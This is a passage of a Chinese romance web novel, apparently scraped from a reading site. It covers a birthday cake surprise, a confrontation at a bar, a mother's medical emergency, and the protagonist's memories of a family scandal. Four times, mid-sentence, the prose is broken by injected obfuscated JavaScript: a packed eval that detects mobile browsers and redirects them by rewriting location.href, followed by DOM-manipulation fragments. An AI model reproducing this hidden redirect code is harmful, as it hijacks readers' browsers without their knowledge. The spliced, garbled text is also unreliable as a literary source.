二十分钟后,他骂骂咧咧将打好的蛋糕胚放进烤箱,调好烘焙时间,又骂骂咧咧开始打发奶油。 “敢说不好吃,老子就把蛋糕盖你脸上。” 叮—— 蛋糕胚出炉,样子看上去很完美! 他心满意足地开始涂抹第一层奶油,不知道什么原因奶油边涂边化,糊得不成样子,经过一番斗争左屹成功在蛋糕表面画了三个手牵手的简易小人,最后写上“生日快乐”四个字。 “不愧是我!”左屹对自己做出的蛋糕作品很满意,拿出手机左拍拍右拍拍。 等他收拾好战场,已经下午四点,祁言还没回来,于是发了消息过去。 [Zorro:不是要一起过节,人呢?] [1:下班了,马上到家。] 祁言几乎是秒回。 [Zorro:今天还去兼职啊?] 骗子,昨天说今天一起过节,结果跑去餐厅端盘子!!! [1:餐厅人手不够。] [1:中午吃饭了吗?] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165016|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [Zorro:小狗叼饭盆.jpg] [Zorro:没有。] 一心扑在做蛋糕上,饭是真忘了吃。 [1:摸摸头.jpg] [Zorro:我要吃番茄鸡蛋面。] [1:好,给你加两个鸡蛋。] [Zorro:开心转圈.jpg] 不出一会门外响起输入密码的声音,左屹吨吨吨跑到门口等着公寓主人进门。 “回了。”左屹瞪着眼睛,环着手臂,一副不爽的表情。 “嗯,不好意思,今天没想去餐厅的。”祁言换好拖鞋,抬眼便看到左屹鼻尖和脸颊的面粉,白色面恰好覆盖住昨晚的青痕,可爱极了。 左屹趿着拖鞋,准备转身往客厅走,被祁言一把拉住:“脸脏了。” “嗯?”没等他反应过来,祁言的手已经附上他的脸,拇指摩挲着他撞青的颧骨,擦完又点了点鼻尖。 擦完,祁言问:“偷吃什么了?” 偷吃? 奶油算吗? 刚刚是吃了几口奶油。 左屹急于否认,“谁偷吃了,做饭吧,吃完饭我想去看看陈姨。” 厨房弥漫着蛋糕烘焙后的香甜,却不见蛋糕影,祁言不难猜出下午左屹在家里做了什么,但是很好奇他为什么要做蛋糕。 很快面条端到餐桌上,左屹闻到香味就屁颠屁颠跑过来了。 “好香啊。”左屹看着两个面碗,一碗几乎看不见鸡蛋,另一碗满满都是。 左屹这才想起来,祁言闻到鸡蛋的味道就会吐。 但是左屹很爱吃。 他扣了扣后脑,不知道祁言能不能吃得下有鸡蛋味道的面,早知道吃别的了。 祁言看懂了左屹的神情,“没事,能吃。” 左屹刚要动筷子,手机响了。 祁言蹙眉,他看到了来电人是谁。 左屹接起:“怎么了?” “屹哥,今晚我酒吧首演想邀请你来,有时间吗?”郭敬敬态度诚恳。 左屹看了眼时间,五点半。 “几点开始?” “晚上八点。” 左屹去的意向不大,于是婉言拒绝:“看情况吧,我晚上还有点事。” 郭敬敬听他说的活话,大概率是不会来,于是语气带着恳求,“屹哥,我的首演只是想叫朋友来捧捧场,现在除了你,我叫不到其他人来。” 左屹顿了顿,不想扫人兴致,又看了眼正在吃面的祁言,片刻才说:“酒吧定位发我手机上。” 郭敬敬雀跃:“好!!” 电话挂断,左屹拿起筷子猛吸几口面条,连连夸赞:“言哥,你手艺真好!” “面汤都吸干了,不好吃了。”祁言淡淡的说。 “不影响味道啊,你做的面条比我妈做的好吃多了。” 祁言不理睬。 见他安静吃饭,左屹也不好再献殷勤。 直到吃完饭,左屹收拾好厨房出来,祁言坐在沙发上投了一部电影在看。 他坐过去,想着怎么开口晚上去酒吧的事。 祁言瞥了他一眼,率先说:“想去就去。” “你跟我一起去好不好?”左屹靠着沙发,拉了拉祁言T恤的一角。 15. 蛋糕惊喜 “我去干什么?”祁言反问。 左屹愣了几秒,又厚着脸皮故意说:“陪我啊,那种地方我一个人去遇到危险怎么办?” 祁言侧脸看过来,眯起眼打量了他一番:“嗯。” “那你等我换件衣服,我们先去看陈姨,顺便问笑笑要不要一起去。” 左屹没想到祁言真的会答应,他抑制住想跳起来欢呼的兴奋,赶紧跑回主卧换衣服。 不出五分钟他蓄势待发。 “走吧。”左屹换了一身干净的衣服拉起祁言,又神秘兮兮地说:“晚上早点回来,有小惊喜。” “好。” 他们来到病房的时候,丁文笑正在帮陈姨翻背。 丁文笑看见门口身材高挑的两位大帅哥,忍不住和陈姨调侃:“姨,你看他们站在一起是不是像那个韩剧名场面。” 陈姨笑着眨了眨眼。 “妈,今天感觉怎么样?”祁言走到床边为母亲轻抚着额尖的碎发。 “好…”她艰难地回应着。 丁文笑悄悄问左屹:“你们怎么一起来了?” 左屹这才想起,丁文笑还不知道他现在住祁言那,于是避开话题:“晚上约着一起去酒吧,要不要一起去?” “行啊。”丁文笑晚上没什么事,两个室友去周边玩了,回宿舍也是一个人待着。 七点半,他们到了酒吧,这是家很有名的酒馆,酒吧里有蹦迪场的舞美,还有Live house的乐队,在不同的时间切换不同的风格,挺有意思的。 郭敬敬提前为左屹留了看舞台视野很好的位置,台桌上已经放置了不少酒水和小吃。 只是他没想到随左屹一起来的,还有丁文笑和祁言。 酒吧服务员带着左屹一行人来到舞台第一排的卡座,这个位置正对着主唱不远。 八点,郭敬敬一身精致的演出服登场,舞台一束白色追光打在他身上,成为全场焦点。 他一眼锁定台下的左屹和旁边的祁言,眼里的情绪从兴奋到不易察觉的失落。 祁言玩味地端着酒杯向他隔空扬起,在旁人眼里这举动是礼仪,可台上的人看得真切,这分明是在挑衅。 郭敬敬不甘示弱,开场后和大家打招呼,身后捧场给面子的客人就不少,还有人吹起了口哨。 唱完两首快节奏的歌,郭敬敬喘着气感谢大家的捧场,然后眼睛移到左屹身上,一番真情流露:“今天很开心,因为有一位对我来说很重要的朋友来到这里支持我,接了下来这首歌请允许我带了点私心,因为我想唱给他听。” 左屹已经喝了好几杯酒了,他迎着郭敬敬炙热的目光浑身不自在,他不喜欢成为焦点,更不喜欢在有祁言的场合显得和别人暧昧不清。 丁文笑也发现了端倪,她移得离祁言更近些,悄悄问:“他刚刚那段话是说给小屹听的?” “嗯。”祁言眼神冷得丁文笑打了个颤栗。 左屹早就坐立不安。 台上人唱到结尾那句:“我花光运气,你是我赌上世界的决定。” 左屹觉得今天答应来真是脑子抽了。他猛地起身,无视郭敬敬追随的视线,往卫生间走去。 左屹洗了把脸,酒意清醒不少,他酒量不好所以今天虽喝得克制,但也有些上头。 身后响起沙沙的脚步声,未等他回头,身后的人重重搂了上来,透过镜子左屹才看清是穿着演出服的郭敬敬。 “不要再闹了。”左屹心烦意乱,他抓着郭敬敬的手就要推开。 郭敬敬急切的阻止:“先别推开我。”,他哽咽着乞求:“屹哥,求求你给我一个机会好吗?我就是很喜欢你,见到你的第一面我就知道自己完蛋了,求你别拒绝我。” 门口传来一声冷笑,“恐怕你永远没有这个机会。” 祁言双手插着牛仔裤口袋,慵懒地斜靠在门口。 他瞟了一眼酒意朦胧的左屹,又盯着郭敬敬紧紧搂着左屹腰间的手臂。 郭敬敬讨厌祁言,如果没有他,自己不必像个乞丐一样去乞求爱意,他松开手转身对着祁言狠厉说道:“你凭什么替他回答?” 左屹不想浪费时间去扯些有的没的,更不想让祁言成为被针对的靶子。 “言哥有替我做一切决定的权利,敬敬,早说过了我不喜欢你,所以你在我这永远都得不到任何机会,别再做这些没有意义的事了。” “屹哥……”郭敬敬委屈地憋红了眼,他转向祁言愤恨地伸出手指着他,咬着牙质问:“你为什么总是坏我的事,为什么在屹哥身边阴魂不散!?” “郭敬敬,适可而止。”左屹捏紧拳头,眸子里透出狠厉的光。 祁言轻蔑地扫了一眼气急败坏的人,然后握住左屹的手腕将他拉到自己的身边温柔地说:“回家吧,累了。” 出了酒吧,风吹得左屹头疼欲裂,耳朵里嗡嗡作响,丁文笑扶着他走了一段路,祁言跟在后面。 “你这点酒量以后少来酒吧,小孩天天学什么大人喝酒。”丁文笑严厉的斥责。 左屹不服回怼:“嘁,你小看谁啊。” 丁文笑生气地拍了他后背一巴掌,“今天还好我和言哥在,要不然我看你是被人吃了都来不及后悔的,那小子在台上看你的眼神差点给你生剥了。” 左屹耸了耸肩,今天就不该来。 丁文笑拦了辆出租车:“先送你回宿舍。” 祁言将左屹拉到自己身边说:“笑笑,你先回学校。” “那你们呢?”丁文笑问。 “我带他回家。” 车上,左屹潜意识里觉得这个场景有点似曾相识,车窗外霓虹灯闪过,在眼前化成一条条五颜六色的长线,他扒在窗户边闭上眼享受着徐徐清风。 祁言在一旁轻轻扶着他的胳膊,护着他的安全。 司机拉车这么多年,现实里很少见到比明星还好看的人,他透过后视镜偷看了好几眼。 突然,一滴雨落在左屹的睫毛上,惊得他睁开了眼,水珠滴进眼睛里又滑落下来。 他身子回正,发现祁言一直在看着他,忍不住问道:“看我干什么?” “哭了?”祁言替他擦了脸上泛着光的水痕。 左屹摇了摇头:“是雨,下雨了。” 说完,左屹伸手到窗外接雨,这时的雨熙熙攘攘的只是偶尔落下几滴,等了几分钟手上才有些湿润。 左屹湿润的手摸上祁言的脸颊,开心的说:“你看,你也哭了。” 祁言被他的举动逗笑,宠溺地揉了揉他的头发,温柔的说:“是雨。” 司机通过后视镜将他们的互动看得完全,忍不住感慨:“你们兄弟俩感情真好。” 左屹瞬间收起笑容。 他不喜欢被人说他们是兄弟,对比兄弟来说,他更喜欢用竹马来形容他们的关系。 因为兄弟两个字承载着一道无形的界限,这道界限不管有无血缘关系,都会为他们的感情生生打上一枚无痕钉,钉子扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165017|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进大家的心里,若要拔掉必定会扯下一大块血肉,留下一道永远无法愈合的口子。 “师傅,我们不是兄弟。” 左屹闻言侧头看向说话的人。 祁言藏在车后座的阴影里闭目养神,仿佛刚刚那句话不是他说的一般。 可是左屹听得一清二楚,祁言跟司机说他们不是兄弟。 司机尴尬的笑笑,解释道:“哦哦哦,我看你俩个高腿长像电影里走出来似的,还以为是一家的兄弟。” “不是。” 左屹是盯着祁言回答的这句,黑夜里他分明捕捉到了祁言上扬的嘴角,不过只是一瞬。 到家之后,左屹推着祁言回主卧洗漱,而他去厨房准备生日蛋糕。 左屹打开冰箱,从冷冻层拿出六寸小蛋糕,他顿时觉得自己是个天才,既让奶油固住,又没被祁言发现蛋糕。 他掐准祁言洗完澡的时间,点上一根彩虹蜡烛,点燃,关了客厅灯。 祁言开门便看见了左屹端着一个长得只能用抽象来形容的蛋糕。 “祝你生日快乐,祝你生日快乐……”左屹唱完生日快乐歌,兴奋地对祁言说,快许愿。 祁言照做,他闭着眼睛在心里默默许下一个无人知晓的愿望,然后将蜡烛吹灭。 “生日快乐,言哥。” 左屹一手端着蛋糕,一手拉着祁言走到客厅沙发前,左屹没有开客厅的日光灯,而是打开了投影仪,借用投影仪微弱的光。 祁言看着蛋糕上抽象的三个小人,他认出来中间是他,左边牵着丁文笑,右边牵着左屹。 很滑稽很可爱,他非常喜欢。 喜欢到想把这个蛋糕永远保存下去,永远不要过期。 “发什么呆,不尝尝蛋糕的味道吗?”左屹递给祁言一个小勺子,自己也拿了一个,他举着小勺子说:“直接挖着吃吧,我忘了买蛋糕刀。” 祁言笑了,“你做的?” 左屹挖了一口蛋糕递到祁言的嘴边,“你先尝尝看。” 祁言一口包进嘴里,奶油的香甜充斥口腔,绵密的口感让舌头都变得滑嫩,蛋糕胚烘焙得比云朵还柔软,伴随着奶油在口腔里慢慢消融,滑入喉咙,香甜四溢,他没有吃过这么好吃的生日蛋糕。 是任何一家蛋糕店都做不出来的,独一无二的味道。多巴胺疯狂分泌,祁言许久没有如此开心过,这一刻幸福在他诸多不幸的命运里具象化。 幸福与他而言,本是遥不可及的奢侈品,自从左屹再次出现,他竟也是能拥有奢侈品的人了。 左屹紧张地问:“好吃吗?” “很好吃。” 祁言也挖了一口蛋糕喂到左屹的嘴里,“你尝尝。” 左屹眉头蹙紧,额,好甜…… 蛋糕胚的糖放太多了,甜到发腻。 “言哥,别吃了,糖放太多了。”左屹有些失落地说。 可是祁言依旧一口接着一口地吃着蛋糕,“我喜欢吃甜的,很好吃。” 一整个六寸蛋糕几乎都被祁言吃完,左屹全程只吃了那么一口,他不喜甜,太甜腻的食物,他吃不下去。 可是祁言吃完了,他好像没有甜味味觉一般,吃得不亦乐乎。 “今天为什么做蛋糕?”祁言问。 左屹呈大字瘫在沙发上,无力地解释:“你生日那天没吃到蛋糕就走了,我想补给你。” 祁言这才想起生日那天,是他向左屹讨要的惊喜。 “谢谢。” 16. 病危抢救 左屹闭着眼摆了摆手,低声嘟囔:“这才不算什么,还有更好的礼物想送给你。” 祁言好奇地问:“什么礼物?” “……” 左屹悚然清醒,刚刚他差点睡着了,迷迷糊糊地把心里话给说出来了。 “没,没什么,困了,我要去洗澡睡觉了。” 祁言似笑非笑地看着他那落荒而逃的背影,右手拇指轻轻摩挲着虎口,蠢蠢欲动的花火在某处肆意绽放。 - “7分56秒26,你最近是不是没有好好拉体能?”黄教练不满地朝泳池里的人看了一眼。 左屹像被狙击枪上的红外线瞄准,心虚地赶紧躲进池子里又游了100米来回。 5800m水下米训练完毕,左屹从泳池出来。 “说说,你小子这两天在家做了哪些陆上训练。”黄教练朝左屹的脑袋上甩了条浴巾过去。 左屹自知理亏,刚刚800m成绩完全不在他正常水平上,酒精会影响大脑的平衡和身体协调性,教练明令禁止大家是不能碰烟沾酒的,昨晚那几杯明显足够拉低他今天的成绩,顿时有些懊恼。 他胡乱擦着头发和身子,光着脚丫吨吨吨跑到黄教练面前认错,“教练我错了,放假后确实是懈怠了。” 黄教练冷哼一声,黑着脸语重心长地训斥:“前天说要压缩训练时间的时候是怎么保证的?这才几天就原形毕露了,走到这一步吃了多少苦你比谁都清楚,你以为考进京体就等同于站在游泳生涯的山顶了?你丫在这里屁都不是,别成天觉得自己有天赋就牛逼哄哄,多少有天赋的运动员最后不都输得一败涂地!竞技运动拼的是努力,以后你要么踏踏实实训练,好好提升成绩,要么趁早放弃,滚回教室里去混文凭,羽毛不好好爱惜迟早是会掉光。” 左屹被教练说得面红耳赤,低垂的脑袋都不好意思抬起,“知道了,教练您别生气,等会我就罚自己去跑个二十圈,不跑完不吃午饭!” “跑完二十圈,明天还能训练?”黄教练严肃地说,“去跑十圈,再加20组仰卧卷腹,20组仰卧起坐,明天上午的水下训练取消,改为陆上训练。” 左屹立正站好,敬了一个非常标准的军礼:“Yes sir!” 教练离开后,他整个人像卸了力的气球蔫儿了下来,拖着疲惫的身子到更衣室冲澡,冰凉的水砸到脸上像被狠狠扇了一嘴巴似的,生疼。 黄教练说得没错,他确实是仗着自己有天赋胡作非为。 从肆无忌惮地开始接触酒精,到懈怠训练,这是他曾经的日日夜夜想都不敢想的,进入大学却像一匹脱了缰的野马,差点忘了自己几斤几两。 不能再这样下去了! 一年前拿到健将运动员证书的成绩是7分53秒33,一年后成绩反倒下滑3秒。 血淋淋的现实摆在眼前,左屹懊悔地咚咚砸墙。 洗漱完,左屹犹豫再三还是和祁言拨去电话。 “喂,小屹。” 电话那边,祁言似乎在一个很安静的环境里。 左屹坐在更衣室的长凳上,周围气压低沉得不得了,“言哥,我今天可能要晚点去医院陪陈姨。” 祁言听出来他的情绪不太对,关心问道:“发生什么事了?” 左屹不想因为成绩的事让祁言担心,故意扬着嘴角打趣地说:“害,事儿大了,被加训去操场跑十个圈儿。” 祁言笑笑说:“放心训练吧,我在医院。” “没去餐厅吗?”左屹问。 “嗯,今天人手够,店长补我昨天的假。” 这一听左屹来了些精神,“那你晚上可以陪我去个地方吗?” 祁言回答:“可以。” 护士从病房出来,正好碰到祁言憔悴地站在病房走廊的窗边接电话,不知道电话那头是谁,能让他说话的语气如此温柔,明明十几分钟前才经历了一场歇斯底里的噩梦,眼里虽然布满红血丝但也有藏不住的柔情。 “杨姐、杨姐。”护士站的一名年轻女护士叫住从病房收拾完残局的护士问道:“刚刚罗医生是不是已经准备给23号床的阿姨宣布时间了?” 杨护士叹了口气,想到刚刚病房里的场面还心有余悸,“是啊,我们轮换做了五六组组心肺复苏都没用,我第一次参与抢救,腿都吓软了。” 年轻护士也可惜的感慨:“要不说呢,我们护士站都听见病房里的动静,真是苦了那阿姨了。” “是挺遭罪的,你们交个班这几天查房都仔细些,特别是23号床的阿姨,有任何情况赶紧找值班医生过来啊,千万别给耽误了。”杨护士叮嘱了几句就推着除颤仪走了。 祁言来到无人的楼梯间,从烟盒里拿出一根香烟放进嘴里,打火机不知道抽了什么疯一直打不着,他愤怒地将烟盒狠狠砸到墙上。 他的身体控制不住地发抖,一直抖,差一点,就差一点他会永远失去母亲,这几个月一次又一次从死神的手里抢人,祁言很痛苦,他知道妈妈撑得比他更痛苦,可是他不想失去她,怎么办…… 手机开始疯狂震动,祁言从口袋里找出手机,是祁峰打来的。 他靠着墙盯着手机屏幕熄灭,又再次亮起,最后还是选择接听。 “什么事。”祁言的嗓音嘶哑,语气却冷得刺骨不带一丝感情。 “小言,有时间回家来陪爸爸吃顿饭吧。” 祁言嗤笑出声,“回你和那个女人的家?” 祁峰叹了叹气,似乎早就料到他会这么说:“小言,你一直不愿意见爸爸,爸爸很想你,那件事你阿姨她也很难过,你看能不能各退一步,明天爸爸亲自来接你回家,我们吃饭的时候心平气和地聊聊好不好?” 祁言嘲道:“阿姨?祁峰你最好别再来恶心我。” 电话里传来一声怒吼:“祁言!我是你老子,谁允许你这样跟我说话,你的家教都被你妈教哪去了?” “你没资格提我妈。”祁言气极。 祁峰责备道:“小言,你该懂事点了,都是一家人有什么隔夜仇?再怎么说你妈手上也沾着一条人命,作为丈夫我已经够宽宏大量了,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165018|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老子叫自己儿子回家吃顿饭,怎么就恶心了?” “你闭嘴!!请你不要再提到我妈。祁峰,以后你是你,我是我,我们井水不犯河水。” 祁言不等祁峰再说什么,猛地挂了电话。 他无声地怒吼,将所有的怒火全部丢进肚子里喂给了五脏六腑。 “陈阿姨家属,陈阿姨家属在不在!”杨护士慌慌张张地推开厚重的楼道防火门。 祁言快速调整好情绪,连忙应声:“在。” “陈阿姨恢复意识了……” 不等杨护士说完,祁言已经略过她身边跑回了病房。 “妈,我在这!”祁言到了床边,陈馨双眼艰难地睁开,嘴巴含糊不清地说着什么,边说边抓着祁言的手。 “妈…别怕,我一直在这里陪着你,我哪儿都不去了。”祁言以为妈妈是醒了之后没看见他,一时心里害怕。 可陈馨的手越握越紧,拉着祁言往她身边靠近,嘴巴一张一合,急切地想要表达。 祁言半跪在病床前,俯下身子将耳朵凑到陈馨的嘴边。 “我…走了,走了后,去,找你,爸。”陈馨断断续续的话,祁言听得真切。 祁言闭着眼,不着痕迹地深吸了一口气,"妈,别乱说,你不会有事的。" 我也不会去找那个人渣。 “不…他,是你爸…” 祁言为她掖好被子,“我没有爸爸,妈,你别说话了,好好休息吧。” 陈馨眼泪顺着侧脸留下来,祁言轻轻为她拭干眼泪,刚擦完又有一滴滑落下来,怎么也止不住。 “大,人的错,不该、不该…让你承担,后果。” 陈馨最后悔的就是当初没早点离婚,才令儿子一直对家人团聚抱有期待。以至于她的人生即将油尽灯枯,责难却留给了儿子来承受。她不想死,不想儿子遭人诟病,可是已经到了这一步,她更担心祁言未来孤苦无依。 “你有什么错?错的是那个男人,你被他害成现在这样,他人在哪?” 想到刚刚那通电话,那个男人还敢大言不惭,实在令人作呕。 "妈,别哭了。”陈馨的眼泪像决了堤的洪水,浸湿了头发和枕头,祁言不忍,哽咽道:“我可以没有爸爸,但是我不能没有你,别乱想了好吗?" 许久,祁言才将陈馨安抚好,他已是身心俱疲,趁她睡着,才逃到楼下买新打火机。 他的烟瘾不大,只有心情不好的时候才会抽上一两根,但不知不觉地上的烟蒂越来越多,已经数不清抽了多少根。 “你是在抽烟还是吃烟?” 祁言闻言回头,左屹大汗淋漓地出现在身后,十月天气已经告别燥热微微转凉,是体感最舒适的温度,看他的样子应该是跑完十个圈就立马赶来了医院。 “坐着休息会。”祁言让出了左边的位置给他。 “怎么抽这么猛?出事了?”左屹喘着粗气,他不在意自己累不累,远远的他就看到了祁言失魂落魄的背影,地上的烟头也说明了一切。 左屹不禁心慌。 17. 那年暑假 “没事,就是累了。”祁言朝他一笑,伸手拉住他的手腕,将他带到座位上,“陪我坐会。” 左屹坐了下来,看着满地的烟头,又侧头看了看眼下乌青的祁言,到底发生了什么让他一夜之间变得这么憔悴。 左屹不由心疼得一抽,他将手臂绕到祁言身后的椅背,看似是轻轻搭着,其实左屹的右手在虚空抚着祁言的后背。 他很想摸摸祁言的头发,很想告诉他自己的肩膀永远都在,累了随时可以靠靠。 一直坐到祁言抽完最后一支烟,他才哑着嗓子说道:“上去吧。” 左屹安静地跟在祁言的身后,他依旧穿着那身白色衬衣,黑色牛仔裤。从挺拔的后背看上去还是当年那个高高在上,一丝不苟的优等生。 在别人眼里,一定都以为祁言拿的是大男主剧本,不仅拥有天才的头脑还有赛比潘安的样貌,人生跟开了挂一样要风得风要雨得雨。 只有左屹在他光鲜的背后窥探到了不为人知的疲惫和脆弱。 小时候,他也认为祁言厉害得简直不像地球上的生物,正是这样的崇拜和差距,使得他越长大越看不惯祁言的优秀。 因为他怎么都追赶不上,两人之间永远差了一大截,这截距离无时无刻不在告诉他,他追随的那位是神,而自己只是一个普通且平凡的人。 以前他感到累的时候觉得凡人永远不可能追上神的脚步。 现在神说累了,该由凡人来保护他的神明了。 “言哥。”病房门口左屹叫住祁言。 祁言停下脚步,回头看向他:“嗯?” “累了就停下来休息吧,我在呢。”左屹走上前去搂住他的肩膀,将他往自己的怀里带了带,祁言跌进左屹宽厚炙热的胸膛,“我要怎么才能让你知道,我真的长大了,可以让你依靠了。” “我知道小屹长大了。”祁言的下巴搁在左屹的右肩,他也伸出右手绕到左屹的后背,轻轻揉了揉他的头发,两人在这一刻都得到了放松。 祁言不敢贪念,仅一瞬,便轻轻退离了左屹的怀抱。 “进去吧。” 他们进病房时,陈姨还在睡觉,面容看上去并不像刚从阎罗殿走过一遭的样子,左屹也就没有再多想。他只是很担心祁言的状态,怕再这么下去祁言的身体会顶不住。 等护工来了之后,祁言还记得电话里左屹说晚上让自己陪他去个地方,正要开口说走,左屹先抓着他的手臂,“走吧,言哥,我们去吃大餐。” 祁言一头雾水地被左屹拉出门。 左屹将他带到一家日式烤肉店,烤肉店是很纯正的日式装修,店里没有大堂,全是一间一间榻榻米包房,服务员领着他们到最深处的一间,左屹和祁言盘着腿坐下,他拿起菜单点了一堆肉。 见左屹滔滔不绝不带停,祁言忍无可忍一手盖上左屹准备翻页的菜单,他这才将目光从菜单上移开,盯着祁言问:“怎么了?” “点太多了,我不饿。”祁言蹙着眉说。 “这才哪到哪,你太瘦了得补补呀。” “够吃了。” “再加份厚切横膈膜,还有一份和牛小排,谢谢。”左屹不顾祁言的反对,又向服务员多点了两份肉才罢休。 祁言舒了口气,好笑地盯着左屹,一言不发。 “你看着我干嘛?我脸上粘东西了?”左屹抬手在脸上乱摸,被坐在对面的祁言一手拍掉。 “没有粘东西,就是发现你很可爱。” ??? 可爱? 他第一次夸我可爱。。。 左屹愣着仿佛被点了穴,脸颊也突然开始发热。 “什么可不可爱的,男的怎么能用可爱这个词来形容。”左屹不自然地拿起水杯喝了一口。 祁言耸了耸肩,“那我收回说你可爱这句话。” 这下左屹又不乐意了,“说出来的话就是泼出去的水,哪还有收回去的。” 祁言笑着摇了摇头,觉得这人还挺难伺候的,和小时候一样。 两人气氛正好时,祁言的手机震动不停,他拿起看了一眼又盖回到桌子上,眼神满是冷冽。 左屹刚想问是谁,手机再次震动起来,又被祁言扣回桌子上。 “接吧言哥,我出去透透气。”左屹以为是他在祁言不方便接电话,打算回避回避。 祁言拉住他,“不用。”他将手机屏幕递过来,“是祁峰。” “祁叔叔?”左屹瞬间气不打一处来,他一把拿过电话,“我来接。” “小屹!” 不等祁言说完话,左屹已经将电话接起,玩世不恭地打着招呼:“喂,是祁叔啊。” “你是哪位?”祁峰在那头问。 左屹啧啧两声:“叔连我的声音都听不出来了,还真是生疏了很多啊。” “你是小屹?”祁峰问。 “是啊,我左屹,叔有何贵干啊?” “祁言在不在?我有事找他。” 左屹靠着椅背,左手捻着手指说:“找祁言的事儿跟我说也一样。” 祁峰语气明显严肃起来:“小屹,这是我们家的家事,你别瞎掺和。” 左屹也不甘示弱,他冷声问道:“你们家家事?您哪个家的事儿啊?” “你……”祁峰被他这话噎住。 左屹嗤笑:“您先把自己家的事弄明白了再来说我言哥家的事儿,两家事别论到一家来,您老不在意我们小孩还要点面子呢。” “你个臭小子……谁让你多管闲事?” 左屹不给祁峰骂人的机会,咄咄逼人道:“言哥的事就是我的事,谁欺负他都不行。”他刚要挂电话,又想起补充一句:“有事没事都别骚扰我哥,他好着呢,您也好好照顾身体吧,挂了。” “嘁,晦气。”左屹翻了大大的白眼,挂了电话将手机丢进自己裤子口袋里,骂人加动作一气呵成,一点也没注意到对面的人一直看着他。 “小屹,你是不是知道什么?”祁言问。 左屹这才意识到自己和祁叔那通针锋相对的电话说得太直白,完全忘了避讳祁言。 左屹抱着一丝求生欲回答:“言哥,我不知道啊。” 他其实真不清楚当年到底发生了什么,等他暑假集训回来时,祁言和陈姨早就搬走了。 当时,他跟疯了一样去敲祁言家的铁门,整栋楼都能听见“咚咚”的敲门声,整整一下午都没人开门,是对门的刘奶奶被吵到不行了才告诉左屹他们一家早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165019|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在高考出了分数之后就搬家了。 左屹只记得自己哭着回家找老宋要来了手机,一遍又一遍地打祁言和陈姨的电话,但全部没打通,发微信过去也石沉大海。 后来他又跑去丁文笑家里,丁文笑说了两句也跟着他一起哭,就这样两个人坐在楼下的石凳上一直哭,不论左屹怎么问,丁文笑都不说到底发生了什么事,只是一味地要他别问了,都过去了。 左屹求人无门,又去祁言家敲门,敲累了喊累了就坐在楼梯间等。 刘奶奶拿他实在没办法,才叫他进自己的屋,给了杯凉水安抚。 “小屹,他们娘俩真的搬走了,你别再来敲门了。”刘奶奶用自己的手帕顺着左屹的额头,替他擦着汗湿的脑袋。 左屹红着眼眶,哽咽的嗓子问:“奶奶,为什么啊?” “为什么他突然就走了,也不等我回来?” “你说他们搬家就搬家,为什么要换手机号码?” “微信也不回我消息。” “是不是烦我了?” 左屹那时趴在刘奶奶的腿边,眼泪一缕一缕往下流,不停念叨着一句话:“他为什么不等我回来就走啊?我讨厌祁言。” 刘奶奶实在看不过去他这个样子,才将左屹抱在自己的怀里,轻拍着他的背说:“乖啊,别怪小言,他也是无辜的孩子,都是大人犯下的错,小言什么错都没有,你别怪他。” “刘奶奶,到底发生什么事了,你告诉我好不好?”左屹的桃花眼泪汪汪地挂着泪水,他倔强地抿着唇,一定要个答案。 刘奶奶是院里为数不多的空巢老人,和他们家住对门,平时两家人相扶相持,她把祁言当自己的亲孙子看待,他们一走刘奶奶的心也空落落了。 好不容易接受这件事了,左屹又回来闹,把她心底那些不舍全都勾了出来,人老了本就念旧,一起生活了十几年的邻居说离开就离开了,她心里也难受得紧。 “小屹啊,你还小,很多大人的事跟你说了也不懂,小言那孩子可怜得很,家散了,还闹得人尽皆知。”刘奶奶一下又一下摸着左屹的头发,满目慈爱地说:“答应奶奶,以后一定要找到小言告诉他奶奶每天都很想他。也要告诉他这里是他的家,在外头累了就回来,奶奶永远等他回家。” 也是自那以后,左屹猜到了是祁峰出轨,小三在祁言高考前一天闹上门了。 老宋的反应也坐实了他的猜测,只是不愿再说太多。 